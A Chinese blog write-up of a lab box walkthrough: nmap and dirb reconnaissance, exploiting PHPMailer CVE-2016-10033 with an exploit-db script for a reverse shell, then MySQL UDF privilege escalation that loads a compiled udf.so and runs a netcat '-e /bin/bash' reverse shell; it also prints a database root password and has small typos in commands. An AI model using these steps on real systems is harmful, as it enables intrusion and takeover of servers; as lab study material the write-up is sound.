udf提权

渗透测试:MySQL数据库UDF提权详解 本文介绍了渗透测试的常规提权方法——MySQL UDF提权。全面详解了UDF、UDF提权原理与提权过程。以vulhub靶机pWnOS2.0为例,详解了提权的过程。读者可根据本文进行复现学习。 阅读详情

环境:

kali:192.168.157.128

linux靶机:192.168.157.130

1.使用nmap对当前网段进行扫描

nmap 192.168.157.0/24

发现靶机IP和开放端口

2.对靶机进行详细的服务探测

  • -sS:使用 SYN 扫描(半开放扫描)方式,向目标主机发送 SYN 请求进行端口扫描。
  • -sV:对开放的端口进行版本探测,尝试获取正在运行的服务的版本信息。
  • -T4:设置扫描速度为快速模式。
  • -A:启用一系列的侦测功能,包括操作系统探测、脚本扫描等。

nmap -sS -sV -T4 -A 192.168.157.130

3.使用dirb对80端口对应的网站进行目录爆

dirb http://192.168.157.130

在http:192.168.157.130/vendor/PATH这个路径发现第一个flag

在http:192.168.157.130/vendor/README.md这个文件中发现使用的插件是PHPMailer

在http:192.168.157.130/vendor/SECURITY.md发现了PHPMailer的历史漏洞

翻译http:192.168.157.130/vendor/SECURITY.md页面的内容如下:

关于 PHPMailer 的安全通知:

请负责任地通报发现的任何漏洞,将发现的任何安全问题私下报告给维护人员。

PHPMailer 版本 5.2.18 之前(于 2016 年 12 月发布)存在漏洞 CVE-2016-10033 ,是一种远程代码执行漏洞,由 Dawid Golunski 负责报告。

PHPMailer 版本 5.2.14 之前(于 2015 年 11 月发布)存在漏洞 CVE-2015-8476 ,是一种 SMTP CRLF 注入漏洞,允许任意消息发送。

PHPMailer 版本 5.2.10 之前(于 2015 年 5 月发布)存在漏洞 CVE-2008-5619 ,是一个远程代码执行漏洞,存在于捆绑的 html2text 库中。这个文件已在 5.2.10 中删除,因此如果您使用的版本早于此版本并且使用 html2text 函数,则非常重要的升级并删除此文件。

PHPMailer 版本 2.0.7 和 2.2.1 之前存在漏洞 CVE-2012-0796,是一种电子邮件头注入攻击。

Joomla 1.6.0 不安全地使用 PHPMailer,允许揭示本地文件路径,报告于 CVE-2011-3747。

PHPMailer 未对 SetLanguage 中的 $lang_path 参数进行清理。这本身不是问题,但某些应用程序(如 PHPClassifieds、ATutor)也未能清理传递给它的用户提供的参数,允许半任意本地文件包含,报告于 CVE-2010-4914 、 CVE-2007-2021 和 CVE-2006-5734。

PHPMailer 1.7.2 及更早版本存在可能的 DDoS 漏洞,报告于 CVE-2005-1807。

PHPMailer 1.7 及更早版本(2003 年 6 月)在 SendmailSend 方法中存在可能的漏洞,其中 shell 命令可能无法进行清理。报告于 CVE-2007-3215。

在http:192.168.157.130/vendor/VERSION发现了PHPMailer当前的版本,正好是5.2.16,符合CVE-2016-10033,直接找exp

4.40947文件

searchsploit 40974

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面/3  复制到桌面的文件夹

vi 40974.py   #编辑文件

41行:修改成目标地址
42行:生成的后门文件名称
44行:修改反弹的ip及端口
47行:网站的根目

python 40974.py   #运行Python文件

5.监听本地8888端口

监听之前将kali默认的shell切换为bash

bash

nc -lvnp 8888

同时访问http:192.168.157.130/contact.php,在接着访问http:192.168.157.130/test.ph
p。因为我们想访问contact.php,才会生成test.php的后门。

使用技巧切换为稳定的shell,依次执行一下代码
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+z
stty raw -echofg

6.寻找剩下的flag

find -name flag*

MYSQL-UDF提权

1.查看MySQL进程信息,是root权限运行

ps aux | grep mysql

2.查看在wordpress目录下的wp-config.php文件看mysql的账号及密码

3.查看mysql是否有版本及是否有写入权限及插件目录

mysql -uroot -pR@v3nSecurity 登录mysql
select version();
show global variables like 'secure%'; #首先看一下是否满足写入条件
show variables like 'plugin%';或select @@plugin_dir; #查看插件目

4.将文件1518.c从kali中复制出来,进行本机编译

cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/Desktop
gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
python -m http.server   # 开启服务

wget http:192.168.86.128:8000/udf.so

mysql -uroot -pR@v3nSecurity
use mysql;
create table foo(line blob); #进入数据库创建数据表
insert into foo values(load_file('/tmp/udf.so')); #插入数据文件
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';     #成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
create function do_system returns integer soname 'udf.so';      #创建自定义函数
do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

select * from mysql.func;    #查看以下创建的函数

本地监听nc -lvnp 4455
mysql中执行:select do_system('nc -nv 192.168.168.128 6666 -e /bin/bash')

MySQL UDF提权 UDF是用户编写的共享库(如.so或.dll文件),可以通过MySQL加载并在SQL语句中调用。这些函数通常是用C或C++编写,并通过特定的接口注册到MySQL中。 阅读详情

相关推荐

渗透测试之提权 (udf提权+mof提权+启动项提权)

1. 提权 低权限给高权限去提取(你已经获得一定的权限) Windows 一般用户 系统用户 管理员 system Linux 普通用户 系统用户 root 2. udf提权 1、其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete 权限以创建和抛弃函...

LKmnbZ's Blog 6052

渗透测试:数据库UDF提权(linux)

UDF:User Defined Function 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。提权原理:攻击者通过编写,能调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,在数据库中通过导入的共享库文件创建自定义函数,该自定义函数功能依照于共享库文件的功能,从而在数据库中调用该自定义函数能够使用系统命令。

qq_63442530的博客 2689

mysql的udf提权复现

文章目录参考文章 参考文章 udf提权原理详解

Shanfenglan's blog 2845

MySQL提权——udf提权

零基础学黑客,搜索公众号:白帽子左一 作者:掌控安全学员——逍遥子 一、前期准备 1.Mysql udf简介 MySQL udf(user definedfunction,用户定义函数),为用户提供了一种高效创建函数的方式。udf函数按其运行模式可以分为单次调用型和聚集函数型两类,单次调用型函数能够针对数据库查询的每一行记录进行处理,聚集函数型用于处理Group By等聚集查询。 2.udf提权原理 udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能

hackzkaq的博客 6838

sqlmap udf提权过程

常见的未授权访问漏洞: Redis 未授权访问漏洞 MongoDB 未授权访问漏洞 Jenkins 未授权访问漏洞 Memcached 未授权访问漏洞 JBOSS 未授权访问漏洞 VNC 未授权访问漏洞 Docker 未授权访问漏洞 ZooKeeper 未授权访问漏洞 Rsync 未授权访问漏洞 Atlassian Crowd 未授权访问漏洞 CouchDB 未授权访问漏洞 Elasticsearch 未授权访问漏洞 Hadoop 未授权访问漏洞 Jupyter Notebook 未授权访问漏洞 Red

MzHeader的博客 3258

【数据库提权】MySQL提权之UDF提权

文章目录一、什么是UDF?二、什么是动态链接库?三、UDF提权原理 一、什么是UDF? UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。 二、什么是动态链接库? DLL 是 Dynamic Link Library 的缩写,译为“动态

ssrf 1518

MySQL提权之UDF提权

udf 全称为'user defined function',意思是'用户自定义函数'。用户可以对数据库所使用的函数进行一个扩展(windows利用dll文件,linux利用so文件),那么我们就可以利用这个特点,往MySQL里面添加一个可以执行系统命令的函数即可。udf提权本质就是通过添加自定义函数让MySQL能执行系统命令,仅此而已。最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

2301_76227305的博客 3707

MySQL UDF提权原理

看了许多视频和文章,对UDF提权讲得都不是很清楚,遂搜索了一下MySQL的基础知识,总结了一下,供各位初学的师傅参考。user-defined functions (UDFs),用户自定义函数,不过,这已经是过时的说法了,MySQL官方文档现在把它称作(可加载函数),是MySQL可在运行时加载执行以扩展功能的机制。我们大可把它理解为是一个插件,而且其本质也是一个动态链接库。官方文档很清楚地说明了,一个可加载函数会被编译为库文件(Windows下文.dll,Linux下为.so),然后使用和。

mingsec的博客 1420

提权:[MySQL UDF提权全攻略:Windows与Linux实战步骤详解 可以了解一下的提权手法]

UDF(User-Defined Function,用户自定义函数)是MySQL支持的一种扩展机制 允许用户通过动态链接库(Windows下为DLL文件,Linux下为SO文件)自定义函数来扩展MySQL功能。

盾悟 6707

slmap udf提权原理

0x01-udf是什么? udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。 0x02-如何使用udf? 假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录

MzHeader的博客 1667

Mysql之UDF提权

udf提权通过在mysql中添加自定义函数来执行系统命令。效果是从 mysql权限 —> 系统权限。提权限制条件挺多,如下先获取mysql的权限(连接上了mysql数据库)Mysql版本大于5.1,我们需手动创建plugin文件夹,这是个棘手的问题mysql有写入文件的权限,即secure_file_priv的值为空。

渗透之路,攻防之间皆学问 2万+

linux下 udf提权_MYSQL提权--UDF提权

前言:udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限什么是UDF:udf(Userdefined function)是用户自定义函数在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数udf就是为了让我们开发者能够自己写方便自己函数,它有3种返回值,这三种分别是STRING,INTEGER,REALSTRING ...

weixin_35507450的博客 1400

QT绘制饼图+柱状图+折线图

使用qt绘制,折线图,饼图,柱状图,多柱状图

梅山 3875

UDF提权

今天的这篇博客是mysql提权中的一种。 0x00 环境与前提 1. 本机搭建win7专业版虚拟环境 2. phpStudy 2018最新版本 3. 运行的版本是php-5.4.45-nts + IIS 4. mysql版本Ver 14.14 Distrib 5.5.53,for Win32 (AMD64) 5. win7 phpstudy中搭建帝国CMS,并拿到该网站的webshell 环境...

yumengzth的博客 2841

基于OpenCV C++实现工业级形状模板匹配:仿Halcon SBM算法全解析

在计算机视觉和工业自动化领域,模板匹配是一项基础且关键的技术,用于在图像中定位已知目标。其核心原理是通过计算图像区域与预设模板之间的相似度来识别目标位置。传统的基于灰度值的匹配方法对光照变化敏感,鲁棒性不足。而基于边缘梯度方向的形状匹配技术,通过计算轮廓梯度方向的一致性进行相似度度量,从根本上提升了对光照变化的鲁棒性,并支持目标的旋转与缩放,技术价值显著。这项技术广泛应用于工业视觉检测、机器人引导、PCB定位等对精度和稳定性要求极高的场景。本文聚焦于使用开源OpenCV库,从底层仿照Halcon的Shape

weixin_33691817的博客 495

MCGS 和 200SMART 时间同步

在实际应用中,PLC经常会因为断电原因,导致时间不准确。假设我们设置了一个投加泵,每天8-18点投加。屏幕上显示的时间和PLC内部的时间,很可能不一样。所以需要在触摸屏上读取PLC的时间,并且提供设置功能。

mmxxoo_xxmmp的博客 1516

Mysql数据库的UDF提权

渗透人员编写可调用系统命令行(CMD或shell)的文件生成动态链接库(Windows系统是.dll;Linux系统是.so),且将该动态链接库内容上传到MySql的函数插件文件夹目录下;然后在通过sql语句调用该动态链接库创建一个自定义函数,最后直接调用该自定义函数sql执行查询系统命令,实现提权(即:在数据库中的查询就等价于直接在系统调用cmd或者shell中执行命令)

提供C#相关开发 、云计算、运维测试、网络安全相关技术分享与服务,有意向可联系。 4489

TruckSim与Simulink联合仿真中的车轮转角精确控制策略

本文深入探讨了TruckSim与Simulink联合仿真中实现车轮转角精确控制的关键策略。针对多轴车辆路径跟踪时转角指令失灵的常见问题,核心在于正确配置TruckSim转向轴的外部输入模式(Advanced Settings),并确保仿真接口的稳定搭建。文章详细解析了从单轴到多轴协同转向的配置方法,并提供了提升MPC路径跟踪精度的实战技巧与调试经验。

weixin_29035147的博客 361

mysql之udf提权

mysql之udf提权

lb132576的博客 1208

SkillWeaver:自主进化的Web智能体框架,通过技能发现与组合实现能力迭代——让AI像人类一样“学习-实践-积累”,构建可扩展的技能库

SkillWeaver重新定义了Web智能体的“学习-实践”循环,使其从被动执行者进化为主动进化者。通过技能的持续积累与组合,智能体不仅能应对已知任务,更能探索未知场景,为自动化与AI的深度融合开辟了新路径。随着框架的成熟与社区的扩展,我们或许正见证着下一代智能体基础设施的诞生。传统Web机器人(Web Agents)依赖预设脚本或静态规则执行任务,但面对动态变化的网站结构、复杂交互逻辑时,其能力边界明显。的闭环机制,使智能体能像人类学习技能一样,不断扩展自身能力,适应新场景。

这里汇聚了前沿的技术分享与实用的开发技巧,带你探索从创意到企业的技术创业之路。 317

如何获取不同分区模板的基因表达矩阵,abagen: Allen 大脑图谱遗传数据工具箱的使用笔记

基因表达从根本上塑造了人类大脑的结构和功能结构。像Allen人脑图谱这样的开放获取转录组数据集提供了前所未有的能力来检查这些机制。abagen工具箱,这是一个用于处理转录组学数据的开放获取软件包,并使用它来检查方法可变性如何影响使用Allen人脑图谱的研究结果。

从事脑科学核磁共振方法学研究,在Nature communications等权威期刊发表研究论文,熟练掌握磁共振处理方法和统计学方法,欢迎大家和我交流。 3330

Mysql数据库提权——UDF提权

实验原理:UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数),要想利用udf, 必须上传udf.dll作为udf的执行库,mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能 实验条件 :1.具有mysql的root权限,且mysql以system权限运行 ...

cxrpty的博客 2183

《无线传感网络 matlab》:从入门到实践

这就是如何使用Matlab建立一个简单的无线传感网络并进行仿真的方法。当然,这只是一个入门级的示例,真正的无线传感网络可能会更加复杂和庞大。首先,我们需要创建一个无线传感网络的基础结构。接下来,我们需要定义一个数据包的格式,以便节点之间可以交换信息。无线传感网络是一种由无线传感器节点组成的、自组织的网络。现在,我们可以开始编写节点代码了。我们将使用Matlab提供的工具箱来构建一个简单的无线传感网络,并对其进行仿真和分析。现在,我们可以将这个节点复制9次,以创建一个包含10个节点的无线传感网络。

NoerrorCode的博客 293
上一篇: 内 存 取 证
下一篇: BUUCTF-DASBOOK1
lin___ying
博客等级 码龄4年 2333粉丝 91原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lin___ying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值